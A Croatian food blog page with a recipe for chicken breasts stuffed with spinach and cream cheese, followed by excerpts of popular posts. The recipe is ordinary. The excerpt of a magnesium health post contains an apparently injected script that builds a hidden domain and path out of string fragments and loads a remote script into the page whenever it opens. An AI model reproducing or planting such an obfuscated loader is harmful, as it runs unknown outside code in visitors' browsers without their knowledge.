PILEĆA PRSA PUNJENA ŠPINATOM I KREM SIROM





Pileća prsa punjena špinatom i krem sirom 



Pileća prsa punjena špinatom i krem sirom jednostavan su, a efektan obrok. Prže se u tavi pa je priprema brza – od ideje do stola proći će tek nešto više od pola sata.




Pileća prsa punjena špinatom i krem sirom 


Sastojci:

  • 4 pileća prsa (600–800 g)
  • 280 g smrznutog nasjeckanog špinata, odmrznutog i dobro ocijeđenog
  • 120 g krem sira (sobne temperature)
  • 25 g ribanog parmezana
  • 1 žlica sitno sjeckanog češnjaka
  • 1–2 žlice nasjeckanog vlasca ili mladog luka
  • 1/4 čajne žličice papra
  • sol, po ukusu
  • 2 žlice maslinova ulja (za pečenje)



Priprema:

  1. Pileća prsa prekrijte prozirnom folijom i lagano istucite batom za meso kako bi se ravnomjerno stanjila – tako će se brže i ravnomjernije ispeći.
  2. Svaki komad zarežite po dužini (tzv. leptir-rez) – prerežite oko 3/4 dubine, ali pazite da ne prerežete do kraja.
  3. U većoj tavi zagrijte maslinovo ulje na srednje jakoj vatri.
  4. Pecite pileća prsa oko 7 minuta sa svake strane, dok ne poprime zlatnu boju i ne budu potpuno pečena.
  5. U zdjeli pomiješajte špinat, krem sir, parmezan, češnjak, vlasac (ili mladi luk) i papar. Lagano zagrijte smjesu (npr. u mikrovalnoj) da postane topla i kremasta.
  6. U svaki komad pilećih prsa pažljivo stavite četvrtinu pripremljenog nadjeva.
  7. Smanjite vatru, poklopite tavu i kuhajte još 5–7 minuta, dok se nadjev potpuno ne zagrije.
  8. Posolite po potrebi, poslužite toplo i uživajte.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više

BRZI KINDER BUENO KOLAČ BEZ PEČENJA

Slika
<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Brzi kinder bueno kolač bez pečenja  Bez obzira na to držite li se određenog tipa prehrane ili režima vježbanja, s vremena na vrijeme u redu je počastiti se omiljenom slasticom, a ovaj Kinder Bueno kolač ima sve što će utažiti želju za slatkim. Slasna krema, hrskavi keks i čokoladna glazura odmah su nas uvjerili da ga moramo isprobati. Brzi kinder bueno kolač bez pečenja  Sastojci: 300g plazma keksa + 100 ml mlijeka 350 ml slatkog vrhnja 200 g sirnog namaza 100 g šećera u prahu 3 pune žlice bijele Lino Lade 5 Kinder Bueno čokoladica 100 g Kinder čokoladica + 50 ml slatkog vrhnja Priprema: Za pripremu ovog kolača koristite kalup ili posudu dimenzija 27×18 cm. Sirni namaz i šećer pomiješajte pa mikserom umutite slatko vrhnje. U dobiveni šlag dodajte mješavinu sira i šećera te bijelu Lino La...
Pročitajte više